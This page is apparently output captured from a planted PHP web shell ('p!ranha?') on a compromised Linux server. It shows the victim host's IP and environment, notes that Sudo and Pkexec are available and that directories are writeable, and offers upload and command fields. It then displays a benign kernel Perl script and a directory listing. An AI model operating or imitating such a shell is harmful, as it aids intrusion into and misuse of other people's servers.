p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/source/scripts/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/source/scripts/export_report.pl
#!/usr/bin/perl -w
#
# (C) Copyright IBM Corporation 2006.
#	Released under GPL v2.
#	Author : Ram Pai (linuxram@us.ibm.com)
#
# Usage: export_report.pl -k Module.symvers [-o report_file ] -f *.mod.c
#

use Getopt::Std;
use strict;

sub numerically {
	my $no1 = (split /\s+/, $a)[1];
	my $no2 = (split /\s+/, $b)[1];
	return $no1 <=> $no2;
}

sub alphabetically {
	my ($module1, $value1) = @{$a};
	my ($module2, $value2) = @{$b};
	return $value1 <=> $value2 || $module2 cmp $module1;
}

sub print_depends_on {
	my ($href) = @_;
	print "\n";
	for my $mod (sort keys %$href) {
		my $list = $href->{$mod};
		print "\t$mod:\n";
		foreach my $sym (sort numerically @{$list}) {
			my ($symbol, $no) = split /\s+/, $sym;
			printf("\t\t%-25s\n", $symbol);
		}
		print "\n";
	}
	print "\n";
	print "~"x80 , "\n";
}

sub usage {
        print "Usage: @_ -h -k Module.symvers  [ -o outputfile ] \n",
	      "\t-f: treat all the non-option argument as .mod.c files. ",
	      "Recommend using this as the last option\n",
	      "\t-h: print detailed help\n",
	      "\t-k: the path to Module.symvers file. By default uses ",
	      "the file from the current directory\n",
	      "\t-o outputfile: output the report to outputfile\n";
	exit 0;
}

sub collectcfiles {
    my @file;
    while (<.tmp_versions/*.mod>) {
	open my $fh, '<', $_ or die "cannot open $_: $!\n";
	push (@file,
	      grep s/\.ko/.mod.c/,	# change the suffix
	      grep m/.+\.ko/,		# find the .ko path
	      <$fh>);			# lines in opened file
    }
    chomp @file;
    return @file;
}

my (%SYMBOL, %MODULE, %opt, @allcfiles);

if (not getopts('hk:o:f',\%opt) or defined $opt{'h'}) {
        usage($0);
}

if (defined $opt{'f'}) {
	@allcfiles = @ARGV;
} else {
	@allcfiles = collectcfiles();
}

if (not defined $opt{'k'}) {
	$opt{'k'} = "Module.symvers";
}

open (my $module_symvers, '<', $opt{'k'})
    or die "Sorry, cannot open $opt{'k'}: $!\n";

if (defined $opt{'o'}) {
    open (my $out, '>', $opt{'o'})
	or die "Sorry, cannot open $opt{'o'} $!\n";

    select $out;
}

#
# collect all the symbols and their attributes from the
# Module.symvers file
#
while ( <$module_symvers> ) {
	chomp;
	my (undef, $symbol, $module, $gpl) = split;
	$SYMBOL { $symbol } =  [ $module , "0" , $symbol, $gpl];
}
close($module_symvers);

#
# collect the usage count of each symbol.
#
my $modversion_warnings = 0;

foreach my $thismod (@allcfiles) {
	my $module;

	unless (open ($module, '<', $thismod)) {
		warn "Sorry, cannot open $thismod: $!\n";
		next;
	}

	my $state=0;
	while ( <$module> ) {
		chomp;
		if ($state == 0) {
			$state = 1 if ($_ =~ /static const struct modversion_info/);
			next;
		}
		if ($state == 1) {
			$state = 2 if ($_ =~ /__attribute__\(\(section\("__versions"\)\)\)/);
			next;
		}
		if ($state == 2) {
			if ( $_ !~ /0x[0-9a-f]+,/ ) {
				next;
			}
			my $sym = (split /([,"])/,)[4];
			my ($module, $value, $symbol, $gpl) = @{$SYMBOL{$sym}};
			$SYMBOL{ $sym } =  [ $module, $value+1, $symbol, $gpl];
			push(@{$MODULE{$thismod}} , $sym);
		}
	}
	if ($state != 2) {
		warn "WARNING:$thismod is not built with CONFIG_MODVERSIONS enabled\n";
		$modversion_warnings++;
	}
	close($module);
}

print "\tThis file reports the exported symbols usage patterns by in-tree\n",
	"\t\t\t\tmodules\n";
printf("%s\n\n\n","x"x80);
printf("\t\t\t\tINDEX\n\n\n");
printf("SECTION 1: Usage counts of all exported symbols\n");
printf("SECTION 2: List of modules and the exported symbols they use\n");
printf("%s\n\n\n","x"x80);
printf("SECTION 1:\tThe exported symbols and their usage count\n\n");
printf("%-25s\t%-25s\t%-5s\t%-25s\n", "Symbol", "Module", "Usage count",
	"export type");

#
# print the list of unused exported symbols
#
foreach my $list (sort alphabetically values(%SYMBOL)) {
	my ($module, $value, $symbol, $gpl) = @{$list};
	printf("%-25s\t%-25s\t%-10s\t", $symbol, $module, $value);
	if (defined $gpl) {
		printf("%-25s\n",$gpl);
	} else {
		printf("\n");
	}
}
printf("%s\n\n\n","x"x80);

printf("SECTION 2:\n\tThis section reports export-symbol-usage of in-kernel
modules. Each module lists the modules, and the symbols from that module that
it uses.  Each listed symbol reports the number of modules using it\n");

print "\nNOTE: Got $modversion_warnings CONFIG_MODVERSIONS warnings\n\n"
    if $modversion_warnings;

print "~"x80 , "\n";
for my $thismod (sort keys %MODULE) {
	my $list = $MODULE{$thismod};
	my %depends;
	$thismod =~ s/\.mod\.c/.ko/;
	print "\t\t\t$thismod\n";
	foreach my $symbol (@{$list}) {
		my ($module, $value, undef, $gpl) = @{$SYMBOL{$symbol}};
		push (@{$depends{"$module"}}, "$symbol $value");
	}
	print_depends_on(\%depends);
}
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:58
0 / 0
0755
basic
--
September 29 2025 07:01:29
0 / 0
0755
coccinelle
--
September 29 2025 07:00:57
0 / 0
0755
dtc
--
September 29 2025 07:01:30
0 / 0
0755
genksyms
--
September 29 2025 07:01:30
0 / 0
0755
kconfig
--
September 29 2025 07:01:30
0 / 0
0755
ksymoops
--
September 29 2025 07:01:29
0 / 0
0755
mod
--
September 29 2025 07:01:30
0 / 0
0755
package
--
September 29 2025 07:01:30
0 / 0
0755
rt-tester
--
September 29 2025 07:01:29
0 / 0
0755
selinux
--
September 29 2025 07:01:29
0 / 0
0755
tracing
--
September 29 2025 07:01:30
0 / 0
0755
Kbuild.include
10.251 KB
November 06 2023 09:15:52
0 / 0
0644
Lindent
0.449 KB
November 06 2023 09:15:52
0 / 0
0755
Makefile
1.394 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.asm-generic
0.668 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.build
15.908 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.clean
3.232 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.fwinst
2.026 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.headersinst
4.716 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.help
0.066 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.host
6.458 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.lib
13.569 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modbuiltin
1.783 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modinst
1.158 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modpost
5.148 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modsign
0.979 KB
November 06 2023 09:15:52
0 / 0
0644
asn1_compiler
22.336 KB
June 04 2024 14:55:43
0 / 0
0755
asn1_compiler.c
33.967 KB
November 06 2023 09:15:52
0 / 0
0644
bloat-o-meter
1.755 KB
November 06 2023 09:15:52
0 / 0
0755
bootgraph.pl
5.62 KB
November 06 2023 09:15:52
0 / 0
0644
checkincludes.pl
1.773 KB
November 06 2023 09:15:52
0 / 0
0755
checkkconfigsymbols.sh
1.82 KB
November 06 2023 09:15:52
0 / 0
0755
checkpatch.pl
101.344 KB
November 06 2023 09:15:52
0 / 0
0755
checkstack.pl
5.335 KB
November 06 2023 09:15:52
0 / 0
0755
checksyscalls.sh
5.637 KB
November 06 2023 09:15:52
0 / 0
0755
checkversion.pl
1.859 KB
November 06 2023 09:15:52
0 / 0
0755
cleanfile
3.41 KB
November 06 2023 09:15:52
0 / 0
0755
cleanpatch
5.012 KB
November 06 2023 09:15:52
0 / 0
0755
coccicheck
3.775 KB
November 06 2023 09:15:52
0 / 0
0755
config
3.646 KB
November 06 2023 09:15:52
0 / 0
0755
conmakehash
10.164 KB
June 04 2024 14:55:43
0 / 0
0755
conmakehash.c
5.998 KB
November 06 2023 09:15:52
0 / 0
0644
decodecode
2.149 KB
November 06 2023 09:15:52
0 / 0
0755
depmod.sh
1.668 KB
November 06 2023 09:15:52
0 / 0
0755
diffconfig
3.541 KB
November 06 2023 09:15:52
0 / 0
0755
docproc.c
13.694 KB
November 06 2023 09:15:52
0 / 0
0644
export_report.pl
4.534 KB
November 06 2023 09:15:52
0 / 0
0644
extract-ikconfig
1.645 KB
November 06 2023 09:15:52
0 / 0
0755
extract-vmlinux
1.599 KB
November 06 2023 09:15:52
0 / 0
0755
gcc-goto.sh
0.454 KB
November 06 2023 09:15:52
0 / 0
0644
gcc-version.sh
0.803 KB
November 06 2023 09:15:52
0 / 0
0644
gcc-x86_32-has-stack-protector.sh
0.18 KB
November 06 2023 09:15:52
0 / 0
0644
gcc-x86_64-has-stack-protector.sh
0.195 KB
November 06 2023 09:15:52
0 / 0
0644
gen_initramfs_list.sh
7.382 KB
November 06 2023 09:15:52
0 / 0
0644
get_maintainer.pl
54.114 KB
November 06 2023 09:15:52
0 / 0
0755
gfp-translate
1.711 KB
November 06 2023 09:15:52
0 / 0
0755
headerdep.pl
3.465 KB
November 06 2023 09:15:52
0 / 0
0755
headers.sh
0.518 KB
November 06 2023 09:15:52
0 / 0
0755
headers_check.pl
3.6 KB
November 06 2023 09:15:52
0 / 0
0644
headers_install.sh
1.279 KB
November 06 2023 09:15:52
0 / 0
0644
kallsyms
14.43 KB
June 04 2024 14:55:43
0 / 0
0755
kallsyms.c
16.522 KB
November 06 2023 09:15:52
0 / 0
0644
kernel-doc
71.414 KB
November 06 2023 09:15:52
0 / 0
0755
link-vmlinux.sh
5.648 KB
November 06 2023 09:15:52
0 / 0
0644
makelst
0.755 KB
November 06 2023 09:15:52
0 / 0
0755
markup_oops.pl
8.08 KB
November 06 2023 09:15:52
0 / 0
0644
mkcompile_h
2.461 KB
November 06 2023 09:15:52
0 / 0
0755
mkmakefile
1.167 KB
November 06 2023 09:15:52
0 / 0
0644
mksysmap
1.319 KB
November 06 2023 09:15:52
0 / 0
0644
mkuboot.sh
0.37 KB
November 06 2023 09:15:52
0 / 0
0755
mkversion
0.072 KB
November 06 2023 09:15:52
0 / 0
0644
module-common.lds
0.739 KB
November 06 2023 09:15:52
0 / 0
0644
modules.order
0 KB
June 04 2024 14:44:29
0 / 0
0644
namespace.pl
13.001 KB
November 06 2023 09:15:52
0 / 0
0755
patch-kernel
9.914 KB
November 06 2023 09:15:52
0 / 0
0755
pnmtologo
14.188 KB
June 04 2024 14:55:43
0 / 0
0755
pnmtologo.c
11.912 KB
November 06 2023 09:15:52
0 / 0
0644
profile2linkerlist.pl
0.366 KB
November 06 2023 09:15:52
0 / 0
0644
recordmcount
18.281 KB
June 04 2024 14:55:43
0 / 0
0755
recordmcount.c
12.398 KB
November 06 2023 09:15:52
0 / 0
0644
recordmcount.h
16.339 KB
November 06 2023 09:15:52
0 / 0
0644
recordmcount.pl
17.568 KB
November 06 2023 09:15:52
0 / 0
0755
setlocalversion
3.938 KB
November 06 2023 09:15:52
0 / 0
0755
show_delta
2.981 KB
November 06 2023 09:15:52
0 / 0
0755
sign-file
12.164 KB
November 06 2023 09:15:52
0 / 0
0755
sortextable
14.188 KB
June 04 2024 14:55:43
0 / 0
0755
sortextable.c
7.412 KB
November 06 2023 09:15:52
0 / 0
0644
sortextable.h
5.479 KB
November 06 2023 09:15:52
0 / 0
0644
tags.sh
9.87 KB
November 06 2023 09:15:52
0 / 0
0755
unifdef
26.336 KB
June 04 2024 14:55:43
0 / 0
0755
unifdef.c
34.804 KB
November 06 2023 09:15:52
0 / 0
0644
ver_linux
3.091 KB
November 06 2023 09:15:52
0 / 0
0755
xz_wrap.sh
0.549 KB
November 06 2023 09:15:52
0 / 0
0644